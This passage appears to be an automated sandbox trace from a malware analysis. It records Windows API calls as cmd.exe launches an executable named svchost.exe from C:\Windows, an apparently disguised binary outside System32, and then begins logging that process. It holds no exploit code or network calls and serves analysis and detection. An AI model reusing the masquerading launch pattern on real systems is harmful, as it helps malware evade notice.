lpcbData=0x12ea64*=0x1000 | out: lpType=0x12ea60*=0x0, lpData=0x12ea80*=0x1, lpcbData=0x12ea64*=0x1000) returned 0x2 [0045.028] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x12ea60, lpData=0x12ea80, lpcbData=0x12ea64*=0x1000 | out: lpType=0x12ea60*=0x4, lpData=0x12ea80*=0x0, lpcbData=0x12ea64*=0x4) returned 0x0 [0045.028] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x12ea60, lpData=0x12ea80, lpcbData=0x12ea64*=0x1000 | out: lpType=0x12ea60*=0x4, lpData=0x12ea80*=0x9, lpcbData=0x12ea64*=0x4) returned 0x0 [0045.028] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x12ea60, lpData=0x12ea80, lpcbData=0x12ea64*=0x1000 | out: lpType=0x12ea60*=0x4, lpData=0x12ea80*=0x9, lpcbData=0x12ea64*=0x4) returned 0x0 [0045.028] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x12ea60, lpData=0x12ea80, lpcbData=0x12ea64*=0x1000 | out: lpType=0x12ea60*=0x0, lpData=0x12ea80*=0x9, lpcbData=0x12ea64*=0x1000) returned 0x2 [0045.028] RegCloseKey (hKey=0x44) returned 0x0 [0045.028] time (in: timer=0x0 | out: timer=0x0) returned 0x5e776e38 [0045.028] srand (_Seed=0x5e776e38) [0045.028] GetCommandLineW () returned="\"cmd.exe\" /C C:\\Windows\\svchost.exe" [0045.028] GetCommandLineW () returned="\"cmd.exe\" /C C:\\Windows\\svchost.exe" [0045.028] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ad1c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0045.028] GetProcessHeap () returned 0x340000 [0045.028] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x218) returned 0x35a9e0 [0045.028] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x35a9f0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0045.029] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ad0f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0045.029] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ad0f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0045.029] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ad0f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0045.029] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0045.029] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0045.029] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0045.029] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0045.029] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0045.029] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0045.029] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0045.029] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0045.029] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0045.029] GetProcessHeap () returned 0x340000 [0045.029] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x3594c0 | out: hHeap=0x340000) returned 1 [0045.029] GetEnvironmentStringsW () returned 0x358a30* [0045.029] GetProcessHeap () returned 0x340000 [0045.030] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xa94) returned 0x35b6a0 [0045.030] FreeEnvironmentStringsW (penv=0x358a30) returned 1 [0045.030] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ad0f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0045.030] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ad0f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0045.030] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0045.030] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0045.030] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0045.030] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0045.030] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0045.030] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0045.030] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0045.030] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0045.030] GetProcessHeap () returned 0x340000 [0045.030] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x5c) returned 0x341320 [0045.030] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x12f870 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0045.030] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x12f870, lpFilePart=0x12f850 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x12f850*="Desktop") returned 0x25 [0045.030] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0045.031] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x12f580 | out: lpFindFileData=0x12f580*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe90000e9, cFileName="Users", cAlternateFileName="")) returned 0x341390 [0045.031] FindClose (in: hFindFile=0x341390 | out: hFindFile=0x341390) returned 1 [0045.031] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x12f580 | out: lpFindFileData=0x12f580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe90000e9, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x341390 [0045.031] FindClose (in: hFindFile=0x341390 | out: hFindFile=0x341390) returned 1 [0045.031] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0045.031] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x12f580 | out: lpFindFileData=0x12f580*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x72195c80, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x72195c80, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe90000e9, cFileName="Desktop", cAlternateFileName="")) returned 0x341390 [0045.031] FindClose (in: hFindFile=0x341390 | out: hFindFile=0x341390) returned 1 [0045.032] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0045.032] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0045.032] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0045.032] GetProcessHeap () returned 0x340000 [0045.032] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x35b6a0 | out: hHeap=0x340000) returned 1 [0045.032] GetEnvironmentStringsW () returned 0x358a30* [0045.032] GetProcessHeap () returned 0x340000 [0045.032] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xae8) returned 0x35ac00 [0045.032] FreeEnvironmentStringsW (penv=0x358a30) returned 1 [0045.032] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ad1c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0045.032] GetProcessHeap () returned 0x340000 [0045.032] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x341320 | out: hHeap=0x340000) returned 1 [0045.032] GetProcessHeap () returned 0x340000 [0045.032] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x4016) returned 0x35cc30 [0045.033] GetProcessHeap () returned 0x340000 [0045.033] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x42) returned 0x35b6f0 [0045.033] GetProcessHeap () returned 0x340000 [0045.033] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x35cc30 | out: hHeap=0x340000) returned 1 [0045.033] GetConsoleOutputCP () returned 0x1b5 [0045.033] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ad1bfe0 | out: lpCPInfo=0x4ad1bfe0) returned 1 [0045.033] GetUserDefaultLCID () returned 0x409 [0045.034] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ad17b50, cchData=8 | out: lpLCData=":") returned 2 [0045.034] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x12f980, cchData=128 | out: lpLCData="0") returned 2 [0045.034] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x12f980, cchData=128 | out: lpLCData="0") returned 2 [0045.034] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x12f980, cchData=128 | out: lpLCData="1") returned 2 [0045.034] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ad2a740, cchData=8 | out: lpLCData="/") returned 2 [0045.034] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ad2a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0045.034] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ad2a460, cchData=32 | out: lpLCData="Tue") returned 4 [0045.034] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ad2a420, cchData=32 | out: lpLCData="Wed") returned 4 [0045.034] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ad2a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0045.034] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ad2a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0045.034] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ad2a360, cchData=32 | out: lpLCData="Sat") returned 4 [0045.034] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ad2a700, cchData=32 | out: lpLCData="Sun") returned 4 [0045.034] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ad17b40, cchData=8 | out: lpLCData=".") returned 2 [0045.034] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ad2a4e0, cchData=8 | out: lpLCData=",") returned 2 [0045.058] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0045.059] GetProcessHeap () returned 0x340000 [0045.060] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20c) returned 0x35b7b0 [0045.060] GetConsoleTitleW (in: lpConsoleTitle=0x35b7b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0045.060] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000 [0045.060] GetProcAddress (hModule=0x77940000, lpProcName="CopyFileExW") returned 0x779523d0 [0045.060] GetProcAddress (hModule=0x77940000, lpProcName="IsDebuggerPresent") returned 0x77948290 [0045.060] GetProcAddress (hModule=0x77940000, lpProcName="SetConsoleInputExeNameW") returned 0x779517e0 [0045.061] GetProcessHeap () returned 0x340000 [0045.061] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x4012) returned 0x35cc30 [0045.061] GetProcessHeap () returned 0x340000 [0045.061] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x35cc30 | out: hHeap=0x340000) returned 1 [0045.063] _wcsicmp (_String1="C:\\Windows\\svchost.exe", _String2=")") returned 58 [0045.063] _wcsicmp (_String1="FOR", _String2="C:\\Windows\\svchost.exe") returned 3 [0045.063] _wcsicmp (_String1="FOR/?", _String2="C:\\Windows\\svchost.exe") returned 3 [0045.063] _wcsicmp (_String1="IF", _String2="C:\\Windows\\svchost.exe") returned 6 [0045.063] _wcsicmp (_String1="IF/?", _String2="C:\\Windows\\svchost.exe") returned 6 [0045.063] _wcsicmp (_String1="REM", _String2="C:\\Windows\\svchost.exe") returned 15 [0045.063] _wcsicmp (_String1="REM/?", _String2="C:\\Windows\\svchost.exe") returned 15 [0045.063] GetProcessHeap () returned 0x340000 [0045.063] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xb0) returned 0x35b9d0 [0045.063] GetProcessHeap () returned 0x340000 [0045.063] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x3e) returned 0x358a60 [0045.064] GetConsoleTitleW (in: lpConsoleTitle=0x12f890, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0045.064] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0045.064] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0045.064] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x12f420, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x12f400, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x12f400*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0045.065] GetProcessHeap () returned 0x340000 [0045.065] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x218) returned 0x359a30 [0045.065] GetProcessHeap () returned 0x340000 [0045.065] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x3e) returned 0x358ab0 [0045.065] _wcsnicmp (_String1="C:\\W", _String2="cmd ", _MaxCount=0x4) returned -51 [0045.065] GetProcessHeap () returned 0x340000 [0045.065] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x420) returned 0x35ba90 [0045.065] SetErrorMode (uMode=0x0) returned 0x0 [0045.065] SetErrorMode (uMode=0x1) returned 0x0 [0045.065] GetFullPathNameW (in: lpFileName="C:\\Windows\\.", nBufferLength=0x208, lpBuffer=0x35baa0, lpFilePart=0x12f120 | out: lpBuffer="C:\\Windows", lpFilePart=0x12f120*="Windows") returned 0xa [0045.065] SetErrorMode (uMode=0x0) returned 0x1 [0045.066] GetProcessHeap () returned 0x340000 [0045.066] RtlReAllocateHeap (Heap=0x340000, Flags=0x0, Ptr=0x35ba90, Size=0x3e) returned 0x35ba90 [0045.066] GetProcessHeap () returned 0x340000 [0045.066] RtlSizeHeap (HeapHandle=0x340000, Flags=0x0, MemoryPointer=0x35ba90) returned 0x3e [0045.066] NeedCurrentDirectoryForExePathW (ExeName="C:\\Windows\\.") returned 1 [0045.066] GetProcessHeap () returned 0x340000 [0045.066] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x2c) returned 0x3564a0 [0045.066] GetProcessHeap () returned 0x340000 [0045.066] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x44) returned 0x358b00 [0045.066] GetProcessHeap () returned 0x340000 [0045.066] RtlReAllocateHeap (Heap=0x340000, Flags=0x0, Ptr=0x358b00, Size=0x2c) returned 0x3564e0 [0045.066] GetProcessHeap () returned 0x340000 [0045.066] RtlSizeHeap (HeapHandle=0x340000, Flags=0x0, MemoryPointer=0x3564e0) returned 0x2c [0045.066] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ad0f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0045.066] GetProcessHeap () returned 0x340000 [0045.066] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xe8) returned 0x359c50 [0045.070] GetProcessHeap () returned 0x340000 [0045.070] RtlReAllocateHeap (Heap=0x340000, Flags=0x0, Ptr=0x359c50, Size=0x7e) returned 0x359c50 [0045.071] GetProcessHeap () returned 0x340000 [0045.071] RtlSizeHeap (HeapHandle=0x340000, Flags=0x0, MemoryPointer=0x359c50) returned 0x7e [0045.072] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0045.073] FindFirstFileExW (in: lpFileName="C:\\Windows\\svchost.exe", fInfoLevelId=0x1, lpFindFileData=0x12ee90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12ee90) returned 0x359ce0 [0045.073] GetProcessHeap () returned 0x340000 [0045.073] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x28) returned 0x354590 [0045.073] FindClose (in: hFindFile=0x359ce0 | out: hFindFile=0x359ce0) returned 1 [0045.073] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0045.073] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0045.073] GetConsoleTitleW (in: lpConsoleTitle=0x12f3e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0045.073] InitializeProcThreadAttributeList (in: lpAttributeList=0x12f198, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x12f158 | out: lpAttributeList=0x12f198, lpSize=0x12f158) returned 1 [0045.073] UpdateProcThreadAttribute (in: lpAttributeList=0x12f198, dwFlags=0x0, Attribute=0x60001, lpValue=0x12f148, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x12f198, lpPreviousValue=0x0) returned 1 [0045.073] GetStartupInfoW (in: lpStartupInfo=0x12f2b0 | out: lpStartupInfo=0x12f2b0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x1fc, hStdError=0x204)) [0045.074] GetProcessHeap () returned 0x340000 [0045.074] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x20) returned 0x3545c0 [0045.074] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0045.074] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0045.074] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0045.074] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0045.074] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0045.074] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0045.074] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0045.074] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0045.074] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0045.074] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0045.074] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0045.074] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0045.074] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0045.074] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0045.074] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0045.074] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0045.074] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0045.074] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0045.074] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0045.074] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0045.074] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0045.074] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0045.074] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0045.074] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0045.075] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0045.075] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0045.075] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0045.075] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0045.075] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0045.075] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0045.075] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0045.075] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0045.075] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0045.075] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0045.075] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0045.075] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0045.075] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0045.075] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0045.075] GetProcessHeap () returned 0x340000 [0045.075] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x3545c0 | out: hHeap=0x340000) returned 1 [0045.075] GetProcessHeap () returned 0x340000 [0045.075] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x12) returned 0x3588d0 [0045.075] lstrcmpW (lpString1="\\svchost.exe", lpString2="\\XCOPY.EXE") returned -1 [0045.077] CreateProcessW (in: lpApplicationName="C:\\Windows\\svchost.exe", lpCommandLine="C:\\Windows\\svchost.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x12f1d0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\svchost.exe", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x12f180 | out: lpCommandLine="C:\\Windows\\svchost.exe", lpProcessInformation=0x12f180*(hProcess=0x54, hThread=0x50, dwProcessId=0xb7c, dwThreadId=0x9fc)) returned 1 [0045.100] CloseHandle (hObject=0x50) returned 1 [0045.100] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0045.100] GetProcessHeap () returned 0x340000 [0045.100] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x35ac00 | out: hHeap=0x340000) returned 1 [0045.100] GetEnvironmentStringsW () returned 0x35ac00* [0045.101] GetProcessHeap () returned 0x340000 [0045.101] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xae8) returned 0x35ec30 [0045.101] FreeEnvironmentStringsW (penv=0x35ac00) returned 1 [0045.101] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0146.674] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x12f0c8 | out: lpExitCode=0x12f0c8*=0x0) returned 1 [0146.674] CloseHandle (hObject=0x54) returned 1 [0146.674] _vsnwprintf (in: _Buffer=0x12f338, _BufferCount=0x13, _Format="%08X", _ArgList=0x12f0d8 | out: _Buffer="00000000") returned 8 [0146.675] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0146.675] GetProcessHeap () returned 0x340000 [0146.675] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x35ec30 | out: hHeap=0x340000) returned 1 [0146.675] GetEnvironmentStringsW () returned 0x35bc60* [0146.675] GetProcessHeap () returned 0x340000 [0146.675] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xb0e) returned 0x360240 [0146.675] FreeEnvironmentStringsW (penv=0x35bc60) returned 1 [0146.676] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0146.676] GetProcessHeap () returned 0x340000 [0146.676] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x360240 | out: hHeap=0x340000) returned 1 [0146.676] GetEnvironmentStringsW () returned 0x35bc60* [0146.676] GetProcessHeap () returned 0x340000 [0146.676] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xb0e) returned 0x360240 [0146.676] FreeEnvironmentStringsW (penv=0x35bc60) returned 1 [0146.676] GetProcessHeap () returned 0x340000 [0146.676] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x3588d0 | out: hHeap=0x340000) returned 1 [0146.676] DeleteProcThreadAttributeList (in: lpAttributeList=0x12f198 | out: lpAttributeList=0x12f198) [0146.676] _get_osfhandle (_FileHandle=1) returned 0x1fc [0146.676] SetConsoleMode (hConsoleHandle=0x1fc, dwMode=0x0) returned 0 [0146.677] _get_osfhandle (_FileHandle=1) returned 0x1fc [0146.677] GetConsoleMode (in: hConsoleHandle=0x1fc, lpMode=0x4ad0e194 | out: lpMode=0x4ad0e194) returned 0 [0146.677] _get_osfhandle (_FileHandle=0) returned 0x3 [0146.677] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ad0e198 | out: lpMode=0x4ad0e198) returned 1 [0146.677] SetConsoleInputExeNameW () returned 0x1 [0146.677] GetConsoleOutputCP () returned 0x1b5 [0146.678] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ad1bfe0 | out: lpCPInfo=0x4ad1bfe0) returned 1 [0146.678] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0146.678] exit (_Code=0) Process: id = "3" image_name = "svchost.exe" filename = "c:\\windows\\svchost.exe" page_root = "0x4b6b7000" os_pid = "0xb7c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xa88" cmd_line = "C:\\Windows\\svchost.exe" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 6 